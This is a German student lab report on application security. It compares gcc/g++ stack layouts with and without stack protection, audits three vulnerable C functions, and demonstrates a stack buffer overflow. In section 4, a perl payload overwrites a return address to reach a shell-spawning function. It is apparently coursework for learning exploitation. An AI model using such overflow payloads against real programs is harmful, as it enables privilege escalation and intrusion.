



Dokumentation

Anwendungssicherheit Praktikum SS2013

Tarek Saier

10.12.2013

Inhaltsverzeichnis

1	Aufgabe 1	1
1.1	Vorgehensweise	1
1.2	Beobachtungen	1
2	Aufgabe 2	4
2.1	src_audit_1.c	4
2.1.1	Funktionsweise des Codeausschnitts	4
2.1.2	Schwachstelle	4
2.2	src_audit_2.c	4
2.2.1	Funktionsweise des Codeausschnitts	4
2.2.2	Schwachstelle	4
2.3	src_audit_3.c	4
2.3.1	Funktionsweise des Codeausschnitts	4
2.3.2	Schwachstelle	4
3	Aufgabe 3	5
3.1	Vorgehensweise	5
4	Aufgabe 4	7
4.1	Vorgehensweise	7
5	Aufgabe 5	9
6	Aufgabe 6	9

1 Aufgabe 1

Testprogramm `a1.c` bzw. `a1.cpp`:

```
int add_five(int x);

int main() {
    int x = 3, res;
    res = add_five(x);
    return 0;
}

int add_five(int x) {
    int add = 5;
    char c[10] = "AAAAAAAAA";
    return x + add;
}
```

1.1 Vorgehensweise

Compiler: Obiges Programm mit gcc und g++ compiliert, jeweils mit Parameter `-fstack-protector`, `-fno-stack-protector` oder keinem von beiden.

Debugger: In gdb einen Breakpoint ans Ende der Methode `add_five` gesetzt, das Programm ausgeführt und den Stack betrachtet, zudem den disassemblierten Code inspiziert. Siehe Screenshot 1 auf Seite 2, Screenshot 2 auf Seite 2, Screenshot 3 auf Seite 3 und Screenshot 4 auf Seite 3.

1.2 Beobachtungen

Sowohl bei gcc als auch g++ (auf dem vorliegenden System beide Version 4.4.5-8) entspricht das Verhalten von `-fno-stack-protector` dem Default. Die Position lokaler Variablen von Prozeduren sind bei beiden Compilern gleich, einige Werte auf dem Stack unterscheiden sich dagegen. Der Unterschied zwischen `-fstack-protector` und `-fno-stack-protector` ist in beiden Fällen deutlich erkennbar. Es werden beim Compilieren zusätzliche Maschinenbefehle generiert und der Aufbau des Stack ist verschieden.

Screenshot 1: gcc mit Parameter **stack-protector**

```
student@hacking01:~/prkt/a1$ gcc -g a1.c -o gcc.out -fstack-protector
student@hacking01:~/prkt/a1$ gdb -q gcc.out
Reading symbols from /home/student/prkt/a1/gcc.out...done.
(gdb) b a1.c:12
Breakpoint 1 at 0x8048438: file a1.c, line 12.
(gdb) run

Breakpoint 1, add_five (x=3) at a1.c:12
12      return x + add;
(gdb) x/16x $esp
0xbffff710: 0xb7f8d7a9 0xb7eb93c5 0xbffff728 0x00000005
0xbffff720: 0x4141cfff 0x41414141 0x00414141 0x1b024500
0xbffff730: 0xb7ff1380 0x0804960c 0xbffff768 0x08048401
0xbffff740: 0x00000003 0xb7fccff4 0x08048470 0xbffff768
(gdb) disass add_five
Dump of assembler code for function add_five:
0x0804840c <add_five+0>:      push    ebp
0x0804840d <add_five+1>:      mov     ebp,esp
0x0804840f <add_five+3>:      sub     esp,0x28
0x08048412 <add_five+6>:      mov     eax,gs:0x14
0x08048418 <add_five+12>:     mov     DWORD PTR [ebp-0xc],eax
0x0804841b <add_five+15>:     xor     eax,eax
0x0804841d <add_five+17>:     mov     DWORD PTR [ebp-0x1c],0x5
0x08048424 <add_five+24>:     mov     DWORD PTR [ebp-0x16],0x41414141
0x0804842b <add_five+31>:     mov     DWORD PTR [ebp-0x12],0x41414141
0x08048432 <add_five+38>:     mov     WORD PTR [ebp-0xe],0x41
0x08048438 <add_five+44>:     mov     eax,DWORD PTR [ebp-0x1c]
0x0804843b <add_five+47>:     mov     edx,DWORD PTR [ebp+0x8]
0x0804843e <add_five+50>:     lea     eax,[edx*eax*1]
0x08048441 <add_five+53>:     mov     edx,DWORD PTR [ebp-0xc]
0x08048444 <add_five+56>:     xor     edx,DWORD PTR gs:0x14
0x0804844b <add_five+63>:     je      0x8048452 <add_five+70>
0x0804844d <add_five+65>:     call   0x8048320 <__stack_chk_fail@plt>
0x08048452 <add_five+70>:     leave
0x08048453 <add_five+71>:     ret
End of assembler dump.
(gdb) 
```

Screenshot 2: gcc mit Parameter **no-stack-protector**

```
student@hacking01:~/prkt/a1$ gcc -g a1.c -o gcc.out -fno-stack-protector
student@hacking01:~/prkt/a1$ gdb -q gcc.out
Reading symbols from /home/student/prkt/a1/gcc.out...done.
(gdb) b a1.c:12
Breakpoint 1 at 0x80483dd: file a1.c, line 12.
(gdb) run

Breakpoint 1, add_five (x=3) at a1.c:12
12      return x + add;
(gdb) x/16x $esp
0xbffff728: 0x4141f738 0x41414141 0x00414141 0x00000005
0xbffff738: 0xbffff768 0x080483b1 0x00000003 0xb7fccff4
0xbffff748: 0x08048400 0xbffff768 0xb7eb93c5 0xb7ff1380
0xbffff758: 0x00000003 0xb7fccff4 0x08048400 0x00000000
(gdb) disass add_five
Dump of assembler code for function add_five:
0x080483bc <add_five+0>:      push    ebp
0x080483bd <add_five+1>:      mov     ebp,esp
0x080483bf <add_five+3>:      sub     esp,0x10
0x080483c2 <add_five+6>:      mov     DWORD PTR [ebp-0x4],0x5
0x080483c9 <add_five+13>:     mov     DWORD PTR [ebp-0xe],0x41414141
0x080483d0 <add_five+20>:     mov     DWORD PTR [ebp-0xa],0x41414141
0x080483d7 <add_five+27>:     mov     WORD PTR [ebp-0x6],0x41
0x080483dd <add_five+33>:     mov     eax,DWORD PTR [ebp-0x4]
0x080483e0 <add_five+36>:     mov     edx,DWORD PTR [ebp+0x8]
0x080483e3 <add_five+39>:     lea     eax,[edx*eax*1]
0x080483e6 <add_five+42>:     leave
0x080483e7 <add_five+43>:     ret
End of assembler dump.
(gdb) 
```

Screenshot 3: g++ mit Parameter stack-protector

```
student@hacking01:~/prkt/a1$ g++ -g a1.cpp -o g++.out -fstack-protector
student@hacking01:~/prkt/a1$ gdb -q g++.out
Reading symbols from /home/student/prkt/a1/g++.out...done.
(gdb) b a1.cpp:12
Breakpoint 1 at 0x8048528: file a1.cpp, line 12.
(gdb) run

Breakpoint 1, add_five (x=3) at a1.cpp:12
12      return x + add;
(gdb) x/16x $esp
0xbffff710:  0xb7d7f5c5  0xb7d7f3c5  0xb7fcb69c  0x00000005
0xbffff720:  0x41413304  0x41414141  0x00414141  0x736d3c00
0xbffff730:  0xb7ff1380  0x08049784  0xbffff768  0x080484f1
0xbffff740:  0x00000003  0xb7e92ff4  0x08048560  0xbffff768
(gdb) disass add_five
Dump of assembler code for function _Z8add_fivei:
0x080484fc <_Z8add_fivei+0>:  push    ebp
0x080484fd <_Z8add_fivei+1>:  mov     ebp,esp
0x080484ff <_Z8add_fivei+3>:  sub     esp,0x28
0x08048502 <_Z8add_fivei+6>:  mov     eax,gs:0x14
0x08048508 <_Z8add_fivei+12>: mov     DWORD PTR [ebp-0xc],eax
0x0804850b <_Z8add_fivei+15>: xor     eax,eax
0x0804850d <_Z8add_fivei+17>: mov     DWORD PTR [ebp-0x1c],0x5
0x08048514 <_Z8add_fivei+24>: mov     DWORD PTR [ebp-0x16],0x41414141
0x0804851b <_Z8add_fivei+31>: mov     DWORD PTR [ebp-0x12],0x41414141
0x08048522 <_Z8add_fivei+38>: mov     WORD PTR [ebp-0xe],0x41
0x08048528 <_Z8add_fivei+44>: mov     eax,DWORD PTR [ebp-0x1c]
0x0804852b <_Z8add_fivei+47>: mov     edx,DWORD PTR [ebp+0x8]
0x0804852e <_Z8add_fivei+50>: lea     eax,[edx+eax*1]
0x08048531 <_Z8add_fivei+53>: mov     edx,DWORD PTR [ebp-0xc]
0x08048534 <_Z8add_fivei+56>: xor     edx,DWORD PTR gs:0x14
0x0804853b <_Z8add_fivei+63>: je      0x8048542 <_Z8add_fivei+70>
0x0804853d <_Z8add_fivei+65>: call    0x80483f4 <__stack_chk_fail@plt>
0x08048542 <_Z8add_fivei+70>: leave
0x08048543 <_Z8add_fivei+71>: ret
End of assembler dump.
(gdb)
```

Screenshot 4: g++ mit Parameter no-stack-protector

```
student@hacking01:~/prkt/a1$ g++ -g a1.cpp -o g++.out -fno-stack-protector
student@hacking01:~/prkt/a1$ gdb -q g++.out
Reading symbols from /home/student/prkt/a1/g++.out...done.
(gdb) b a1.cpp:12
Breakpoint 1 at 0x80484bd: file a1.cpp, line 12.
(gdb) run

Breakpoint 1, add_five (x=3) at a1.cpp:12
12      return x + add;
(gdb) x/16x $esp
0xbffff728:  0x4141f738  0x41414141  0x00414141  0x00000005
0xbffff738:  0xbffff768  0x08048491  0x00000003  0xb7e92ff4
0xbffff748:  0x080484e0  0xbffff768  0xb7d7f5c5  0xb7ff1380
0xbffff758:  0x00000003  0xb7e92ff4  0x080484e0  0x00000000
(gdb) disass add_five
Dump of assembler code for function _Z8add_fivei:
0x0804849c <_Z8add_fivei+0>:  push    ebp
0x0804849d <_Z8add_fivei+1>:  mov     ebp,esp
0x0804849f <_Z8add_fivei+3>:  sub     esp,0x10
0x080484a2 <_Z8add_fivei+6>:  mov     DWORD PTR [ebp-0x4],0x5
0x080484a3 <_Z8add_fivei+13>: mov     DWORD PTR [ebp-0xe],0x41414141
0x080484b0 <_Z8add_fivei+20>: mov     DWORD PTR [ebp-0xa],0x41414141
0x080484b7 <_Z8add_fivei+27>: mov     WORD PTR [ebp-0x6],0x41
0x080484bd <_Z8add_fivei+33>: mov     eax,DWORD PTR [ebp-0x4]
0x080484c0 <_Z8add_fivei+36>: mov     edx,DWORD PTR [ebp+0x8]
0x080484c3 <_Z8add_fivei+39>: lea     eax,[edx+eax*1]
0x080484c6 <_Z8add_fivei+42>: leave
0x080484c7 <_Z8add_fivei+43>: ret
End of assembler dump.
(gdb)
```

2 Aufgabe 2

2.1 src_audit_1.c

2.1.1 Funktionsweise des Codeausschnitts

Die Funktion `ownme1` nimmt zwei char-Pointer (`*in` und `*out`) für Strings und ein `size_t maxout` entgegen. Die Funktion bricht ab, wenn `strlen(in)` größer ist als `maxout` oder `*in` nicht mit `#` beginnt. Für jeden weiteren Wert in `*in` ungleich 0 wird:

- `$`: kein weiteres Zeichen in `*out` geschrieben
- `^`: 15 mal "S_" in `*out` geschrieben
- sonst: ein Zeichen von `*in` in `*out` geschrieben

Am Ende wird die Zahl der geschriebenen Zeichen zurückgegeben.

2.1.2 Schwachstelle

`maxout` wird nur gegen `strlen(in)` geprüft. Für jedes `^` in `*in` wird `*out` aber mehrmals inkrementiert. Im vorherigen Aufruf von `strlen` zählt jedes `^` in `*in` dagegen nur 1. Dadurch lässt sich über die Grenzen von `*out` hinaus schreiben.

2.2 src_audit_2.c

2.2.1 Funktionsweise des Codeausschnitts

Die Funktion `ownme2` nimmt einen char-Pointer `*input` entgegen. Die ersten 4 Zeichen werden als `size_t size` interpretiert und für den char-Pointer `ptr` `size+1` Byte allokiert. Am Ende werden `strlen(input)` Zeichen aus `input` nach `ptr` kopiert und letztgenannter zurückgegeben.

2.2.2 Schwachstelle

Größe von `ptr` liegt komplett in der Hand der aufrufenden Routine. Außerdem wird beim zweiten `memcpy` die komplette Größe von `input` verwendet und die ersten vier Zeichen nicht abgezogen.

2.3 src_audit_3.c

2.3.1 Funktionsweise des Codeausschnitts

Die Funktion `ownme3` nimmt ein Feld von `infoz` Strukturen und ein `size_t count`. In einer Schleife werden `count` `infoz` vom `infoz`-Feld `in` in `out` kopiert. Am Ende wird der `infoz`-Zeiger `storage`, welcher auf `out` zeigt, "weggespeicher" und die Anzahl der kopierten `infoz` zurückgegeben.

2.3.2 Schwachstelle

Beim Kopieren der `infoz` wird die Validität der Strukturen nicht überprüft, sondern einfach mit `memcpy sizeof(struct infoz)` große Blöcke kopiert. Daher können die Struktur-Member `setting` und `userid` von `name` aus überschrieben werden.

Außerdem kann `count` größer gewählt werden als die Länge von `input`, sodass weitere Speicherbereiche mit irgendwelchen anderen Inhalten in `out` geschrieben werden.

3 Aufgabe 3

Hauptprogramm zu `src_audit_1.c`, welches für die Parameter `*in` und `maxout` der Funktion `ownme1` Werte aus der Kommandozeile entgegennimmt.

```
#include<stdio.h>
#include<string.h>

int main(int argc, char** argv) {
    /* args: self input maxout */
    if(argc < 3) {
        printf("too_few_arguments\n");
        return -1;
    }
    int i, check;
    for(i=0; i<argc; i++) {
        printf("argv[%d]: %s\n", i, argv[i]);
    }
    size_t max = atoi(argv[2]);
    if(max > 128) {
        printf("maxout_value_too_high\n");
        return -1;
    }
    char out[128] = "";
    check = ownme1(argv[1], out, max);
    if(check > -1)
        printf("output: %s\n", out);
    else
        printf("error: %d\n", check);
    return 0;
}
```

<Inhalt von `src_audit_1.c`>

3.1 Vorgehensweise

Normales/gewolltes Verhalten der Funktion `ownme1` testen, daraufhin versuchen, unerwünschtes Verhalten (Absturz) hervorzurufen (siehe Screenshot 5 auf Seite 6).

Screenshot 5: Test des Hauptprogramms zu `ownme1`

[illegible]

4 Aufgabe 4

4.1 Vorgehensweise

- **Code ansehen**
Passwortabfrage innerhalb einer Funktion mit char-Feld, das einen Überlauf ermöglicht.
Ziel: Rücksprungadresse der Funktion mit der einer anderen überschreiben.
- **Compilieren**
`gcc -g overflow.c`
- Zum Test einen Überlauf erzeugen, der zu einem Absturz führt (siehe Screenshot 6 auf Seite 7).
- **Erwünschte Rücksprungadresse ermitteln**
`gdb -q a.out`
`disas go_shell → 0x080484d4`
(Siehe auch Screenshot 7 auf Seite 7)
- Betrachten des Stack-Layouts um zu ermitteln, wie weit das char-Feld überschrieben werden muss (siehe Screenshot 8 auf Seite 8)
- Exploit zur Kontrolle innerhalb von gdb durchführen (siehe Screenshot 9 auf Seite 8)
Oder alternativ direkt: `perl -e 'print "A"x76; print "\xd4\x84\x04\x08"' | ./a.out.`

Screenshot 6: Absturz durch manuelle Eingabe

```
student@hacking01:~/prkt/a4$ ./a.out
Enter Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Speicherzugriffsfehler
student@hacking01:~/prkt/a4$
```

Screenshot 7: Ermitteln der erwünschten Rücksprungadresse

```
student@hacking01:~/prkt/a4$ gcc -g overflow.c
/tmp/ccYafChy.o: In function 'authorize':
/home/student/prkt/a4/overflow.c:15: warning: the 'gets' function is dangerous and should not be used.
student@hacking01:~/prkt/a4$ gdb -q a.out
Reading symbols from /home/student/prkt/a4/a.out...done.
(gdb) disas go_shell
Dump of assembler code for function go_shell:
0x080484d4 <go_shell+0>:      push    ebp
0x080484d5 <go_shell+1>:      mov     ebp,esp
0x080484d7 <go_shell+3>:      sub     esp,0x28
0x080484da <go_shell+6>:      mov     DWORD PTR [ebp-0xc],0x8048667
0x080484e1 <go_shell+13>:     mov     DWORD PTR [ebp-0x14],0x8048667
0x080484e8 <go_shell+20>:     mov     DWORD PTR [ebp-0x10],0x0
0x080484ef <go_shell+27>:     mov     DWORD PTR [esp],0x8048670
0x080484f6 <go_shell+34>:     call   0x80483f4 <puts@plt>
0x080484fb <go_shell+39>:     mov     DWORD PTR [esp],0x0
0x08048502 <go_shell+46>:     call   0x80483e4 <setreuid@plt>
0x08048507 <go_shell+51>:     mov     DWORD PTR [esp+0x8],0x0
0x0804850f <go_shell+59>:     lea     eax,[ebp-0x14]
0x08048512 <go_shell+62>:     mov     DWORD PTR [esp+0x4],eax
0x08048516 <go_shell+66>:     mov     eax,DWORD PTR [ebp-0xc]
0x08048519 <go_shell+69>:     mov     DWORD PTR [esp],eax
0x0804851c <go_shell+72>:     call   0x80483d4 <execve@plt>
0x08048521 <go_shell+77>:     leave
0x08048522 <go_shell+78>:     ret
End of assembler dump.
(gdb)
```

Screenshot 8: Betrachten des Stack-Layouts

```
student@hacking01:~/prkt/a4$ gdb -g a.out
Reading symbols from /home/student/prkt/a4/a.out...done.
(gdb) b *authorize+30
Breakpoint 1 at 0x8048541: file overflow.c, line 16.
(gdb) r
Enter Password: AAAAAAAAAA

Breakpoint 1, authorize () at overflow.c:16
16      if (!strcmp(password,secret))
(gdb) x/2x $ebp
0xbffff748: 0xbffff768    0x08048575
(gdb) x/64x $esp
0xbffff6f0: 0xbffff700    0x00000000    0xb7fe1b48    0x00000001
0xbffff700: 0x41414141    0x41414141    0xb7fff800    0xb7fccff4
0xbffff710: 0xb7f8d7a9    0xb7eb95c5    0xbffff728    0xb7ea0aa5
0xbffff720: 0xb7fccff4    0x080497b4    0xbffff738    0x08048380
0xbffff730: 0xb7ff1380    0x080497b4    0xbffff768    0x080485c9
0xbffff740: 0xb7fcd304    0xb7fccff4    0xbffff768    0x08048575
0xbffff750: 0xb7eb95c5    0xb7ff1380    0x080485bb    0xb7fccff4
0xbffff760: 0x080485b0    0x00000000    0xbffff7e8    0xb7ea0ca6
0xbffff770: 0x00000001    0xbffff814    0xbffff81c    0xb7fe1858
0xbffff780: 0xbffff7d0    0xffffffff    0xb7ffe4f4    0x080482b9
0xbffff790: 0x00000001    0xbffff7d0    0xb7ff0966    0xb7fffab0
0xbffff7a0: 0xb7fe1b48    0xb7fccff4    0x00000000    0x00000000
0xbffff7b0: 0xbffff7e8    0xcfd4777    0xe42c7167    0x00000000
0xbffff7c0: 0x00000000    0x00000000    0x00000001    0x08048420
0xbffff7d0: 0x00000000    0xb7ff6500    0xb7ea0bcb    0xb7ffe4f4
0xbffff7e0: 0x00000001    0x08048420    0x00000000    0x08048441
(gdb)
```

Screenshot 9: Exploit

```
student@hacking01:~/prkt/a4$ perl -e 'print "A"x76; print "\xd4\x84\x04\x08"' > input
student@hacking01:~/prkt/a4$ gdb -g a.out
Reading symbols from /home/student/prkt/a4/a.out...done.
(gdb) b *authorize+25
Breakpoint 1 at 0x804853c: file overflow.c, line 15.
(gdb) b *authorize+30
Breakpoint 2 at 0x8048541: file overflow.c, line 16.
(gdb) r < input

Breakpoint 1, 0x0804853c in authorize () at overflow.c:15
15      gets(password);
(gdb) x/2x $ebp
0xbffff748: 0xbffff768    0x08048575
(gdb) c

Breakpoint 2, authorize () at overflow.c:16
16      if (!strcmp(password,secret))
(gdb) x/2x $ebp
0xbffff748: 0x41414141    0x080484d4
(gdb) c
Enter Password: Would you like to play a game...
Executing new program: /bin/dash
```

5 Aufgabe 5

6 Aufgabe 6